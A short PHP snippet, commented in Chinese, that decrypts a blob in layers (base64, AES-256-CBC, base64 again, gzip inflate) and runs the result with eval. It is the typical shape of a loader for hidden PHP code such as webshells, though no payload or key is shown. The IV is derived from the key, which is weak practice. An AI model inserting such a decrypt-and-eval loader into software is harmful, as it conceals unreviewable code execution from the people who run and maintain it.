function safeDecrypt($data, $key) {
    $iv = substr($key, 0, 16);
    $decoded = base64_decode($data);
    if ($decoded === false) die('Base64解码失败');
    
    $decrypted = openssl_decrypt($decoded, 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv);
    if ($decrypted === false) die('AES解密失败');
    
    $base64Decoded = base64_decode($decrypted);
    if ($base64Decoded === false) die('内部Base64解码失败');
    
    $decompressed = gzinflate($base64Decoded);
    if ($decompressed === false) die('Gzip解压缩失败');
    
    return $decompressed;
}
// 正常执行
$decryptedCode = safeDecrypt($encryptedData, $decryptionKey);
eval("?>" . $decryptedCode);
?>